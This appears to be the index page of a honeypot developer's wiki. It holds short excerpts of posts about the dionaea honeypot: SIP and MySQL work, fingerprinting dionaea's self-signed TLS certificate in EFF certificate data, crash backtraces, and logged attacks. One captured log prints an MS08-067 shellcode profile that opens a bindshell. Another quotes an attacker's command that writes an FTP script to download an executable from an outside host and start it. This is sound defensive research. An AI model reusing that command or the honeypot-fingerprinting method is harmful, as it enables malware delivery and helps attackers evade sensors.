Software at carnivore.it

dionaea

nepenthes

libemu

nebula

liblcfg


SIP

Taking part in gsoc11 The Honeynet Project offered a project to improve dionaea's SIP stack. PhiBo, the student who got accepted on this project had contributed to dionaea before, and even though I initially choose not to mentor the GSoC dionaea SIP project, given my lack in expertise in SIP, I've been working closely with him to make sure the final results are usable.
Working with him was fun, I think both of us have learned something and - even more important - the code written exceeded my expectations.

the mysql cmdshelv

I pushed some final mysql fixes for dionaea yesterday, and just had a look on the ore if there was some activity already.
Yes, there was some activity.

Extending Dionaea

Even though there is little action on tcp/3306 I choose MySQL as a protocol to show how to extend dionaea.
Over the next lines, we'll implement parts of the MySQL wire protocol for a MySQL service using scapy.

rumors

... and beer improves your driving skills!
Twitter is key to spread rumors, nobody even asks for proof1).

Given the current rumors about MS11-0202) exploit code and malware in the wild, I've had a look on the ore.

convenience

dionaea does https, at least tcp/443 is open and you can establish a tls connection. As you need certificates for ssl, and I felt it was easier to create a self signed certificate during startup than having to mess with openssl to create a self signed certificate, dionaea creates a self signed certificate for ssl services by default.

The EFF decided to grab all https ssl certificates 1), make a torrent and have you play with them.
When the torrent was available, the tracker was down, and for me having a look on the data offered was postponed.
Lately I remembered, downloaded the 4GB torrent, unpacked the file and ended up with ~20G csv.

/tmp/eff/csv-db-files$ ls -alh
total 20G
 13G ... all-certs.csv
250M ... all-names.csv
3.0G ... certs-seen.csv
3.6G ... valid-certs.csv
 74M ... valid-names.csv

The code dionaea uses to create the self signed certificate uses static strings:

X509_NAME_add_entry_by_txt(name,"C", MBSTRING_ASC, (const unsigned char *)"DE", -1, -1, 0);
X509_NAME_add_entry_by_txt(name,"CN", MBSTRING_ASC, (const unsigned char *)"Nepenthes Development Team", -1, -1, 0);
X509_NAME_add_entry_by_txt(name,"O", MBSTRING_ASC, (const unsigned char *)"dionaea.carnivore.it", -1, -1, 0);
X509_NAME_add_entry_by_txt(name,"OU", MBSTRING_ASC, (const unsigned char *)"anv", -1, -1, 0);

These static strings are part of the certificates:

openssl s_client -connect HOST:443 < /dev/null | openssl x509 -outform DER | openssl sha1
depth=0 /C=DE/CN=Nepenthes Development Team/O=dionaea.carnivore.it/OU=anv
verify error:num=18:self signed certificate
verify return:1
depth=0 /C=DE/CN=Nepenthes Development Team/O=dionaea.carnivore.it/OU=anv
verify return:1
DONE

Running grep on the CSV showed some dionaea deployments:

grep dionaea /tmp/eff/csv-db-files/all-certs.csv > dionaea.csv

I used python to retrieve the addresses from the csv:

f = open("dionaea.txt","wb")
c = csv.reader(open('dionaea.csv', 'rb'), delimiter=',', quotechar='"')
for i in c:
    f.write("%s\n" % (i[12],))
f.close()    

And to check if the hosts were still alive, I decided to use the software the EFF used to retrieve all the certificates:

/tmp/eff/ssl-observatory/scan$ ./FasterCertificateGrabber.py -f dionaea.txt
...
Got 5 complete and 0 partial certs out of 154

So, of those hosts only 5 were still alive, which is not that surprising as the majority of addresses seemed to be a single deployment in Australia.

While creating self signed certificates on the fly is convenient, it is easy to fingerprint and index.

At the moment there is no way to mitigate this kind of fingerprinting, it would required user generated certificates -or at least random or dictionary strings for the static part of the certificate- and some bits to load user generated certificates instead of generating them on the fly during startup.

Man starring at code

trigger_cb

During the weekend I got some backtraces via email, indicating a problems in dionaea, the common thing in all of them was a reference to trigger_cb in the backtrace:

./dionaea(sigsegv_backtrace_cb+0x26)[0x418686]
/lib/libc.so.6(+0x33c20)[0x7faf9cdbbc20]
/lib/libglib-2.0.so.0(g_hash_table_destroy+0x9)[0x7faf9dbfa0a9]
/opt/dionaea/lib/dionaea/emu.so(emulate_ctx_free+0x170)[0x7faf98d528ea]
./dionaea(trigger_cb+0x44)[0x419128]
/opt/dionaea/lib/libev.so.3(ev_invoke_pending+0x61)[0x7faf9e4be101]
/opt/dionaea/lib/libev.so.3(ev_loop+0x66f)[0x7faf9e4c2fff]
./dionaea(main+0x13b4)[0x40a897]
/lib/libc.so.6(__libc_start_main+0xfe)[0x7faf9cda6d8e]
./dionaea[0x408b09]

Identifying toolkits

Attacks which are identified correctly are rather boring, failing attacks are interesting, as they provide some more information on the problem.

evasion

We heard you are connected ...

Looking at 'what happened' using readlogsqltree, readlogsqltree died with an exception trying to decode the json encoded profile of a shellcode:

2010-10-20 17:33:07
  connection 496731 smbd tcp accept 93.218.66.143:445 <- 118.111.33.215:4602 (496731 None)
   dcerpc bind: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' (DSSETUP) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' (DSSETUP) opnum 9 (DsRolerUpgradeDownlevelServer (MS04-11))
Traceback (most recent call last):
  File "/opt/dionaea/lib/python3.1/json/decoder.py", line 341, in raw_decode
    obj, end = self.scan_once(s, idx)
StopIteration

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "./readlogsqltree.py", line 322, in <module>
    print_db(options, args)
  File "./readlogsqltree.py", line 294, in print_db
    print_profiles(cursor, c['connection'], 2)
  File "./readlogsqltree.py", line 57, in print_profiles
    ' ' * indent, json.loads(profile['emu_profile_json'])))
  File "/opt/dionaea/lib/python3.1/json/__init__.py", line 291, in loads
    return _default_decoder.decode(s)
  File "/opt/dionaea/lib/python3.1/json/decoder.py", line 325, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/opt/dionaea/lib/python3.1/json/decoder.py", line 343, in raw_decode
    raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded

MS10-061 attacks?

I've been wondering already, why there was no worm for MS10-061, as the bug is reliable to exploit, you just upload a file and execute it, no shellcode and no language/service pack specific offsets required, in other words perfectly wormable.

Today, I think I got first traces of a automated exploitation of the bug, due too some misunderstanding with the SMB protocol, I did not receive a copy of the attacking malware, but there are some interesting details I want to share anyway.

XMPP Server

This guide explains how to install a sensor network patched prosody xmpp server on a server called “sensors.example.com”.
My prosody repository is not meant to be a 'fork' of prosody, it is just a convenience repository, so you do not have to merge patches yourself.

The patches:

  • prevent messages from visitors getting sent to visitors
  • prevent messages sent from vistors or participants getting sent to the source

This way, sensors can't read messages from other sensors (vistors), but can receive files from other sensors, in a channel where the sensor user is a participant, and the sensors never get their own messages replied from the xmpp server.

virustotal api

I've been messing with virustotal some time ago, and at that point of time you had to scape the html output. Things have changed, virustotal offers a free http api to interface with their services, all you have to do is sign up and get the api key which is hidden deep in the web2.0 interface.

Using the api, you have get_file_report, scan_file and make_comment.

a missed file

Looking at my dionaea readlogsql logs for the last 24h I spotted this:

2010-10-02 08:57:48
  connection 479687 smbd tcp accept 10.146.168.210:445 <- 10.168.211.184:42210 (479687 None)
   dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '8b52c8fd-cc85-3a74-8b15-29e030cdac16' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'a71e0ebe-6154-e021-9104-5ae423e682d0' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'ea256ce5-8ae1-c21b-4a17-568829eec306' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67))
   profile: [{'return': '0x71a10000', 'args': ['ws2_32'], 'call': 'LoadLibraryA'}, {'return': '0', 'args': ['2', '1244280'], 'call': 'WSAStartup'}, {'return': '66', 'args': ['2', '1', '0', '0', '0', '0'], 'call': 'WSASocket'}, {'return': '0', 'args': ['66', {'sin_port': '1130', 'sin_addr': {'s_addr': '0.0.0.0'}, 'sin_zero': '       ', 'sin_family': '2'}, '16'], 'call': 'bind'}, {'return': '0', 'args': ['66', '2'], 'call': 'listen'}, {'return': '68', 'args': ['66', {}, ''], 'call': 'accept'}, {'return': '0', 'args': ['66'], 'call': 'closesocket'}, {'return': '-1', 'args': ['', 'cmd', '', '', '1', '0', '', '', {'dwXCountChars': '0', 'hStdInput': '68', 'wShowWindow': '0', 'dwYSize': '0', 'lpReserved2': '0', 'cbReserved2': '0', 'cb': '0', 'dwX': '0', 'dwY': '0', 'hStdOutput': '68', 'lpDesktop': '0', 'hStdError': '68', 'dwFlags': '0', 'dwYCountChars': '0', 'lpReserved': '0', 'lpTitle': '0', 'dwXSize': '0', 'dwFillAttribute': '0'}, {'dwProcessId': '4712', 'hThread': '4712', 'dwThreadId': '4714', 'hProcess': '4711'}], 'call': 'CreateProcess'}, {'return': '0', 'args': ['4712', '-1'], 'call': 'WaitForSingleObject'}, {'return': '0', 'args': ['68'], 'call': 'closesocket'}, {'return': '0', 'args': ['2088763392'], 'call': 'ExitThread'}]
   service: bindshell://1130
    connection 479689 remoteshell tcp listen 10.152.73.113:1130 (479687 479687)
      connection 479690 remoteshell tcp accept 10.152.73.113:1130 <- 10.182.132.14:42224 (479687 479689)

A proper exploitation, a proper remote shell, but for whatever reason there was no offer …

So, I looked up the data from the shell session for 10.152.73.113:1130 ← 10.182.132.14:42224.

[02102010 08:57:52] cmd dionaea/cmd.py:52-debug: DATA: b'echo open 10.232.44.205 33542 >> asr_ltjhy &echo user ltjhyh ltjhyh >> asr_ltjhy &echo get asr_77034.exe >> asr_ltjhy &echo quit >> asr_ltjhy &ftp -nv -s:asr_ltjhy &start asr_77034.exe\r\n'

It looked valid, and I was wondering why dionaea failed to detect the offer and download the file.
So, I decided to reproduce the failure using the cli in dionaea:

start.txt · Last modified: 2010/10/13 12:09 by common
chimeric.de = chi`s home Creative Commons License Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0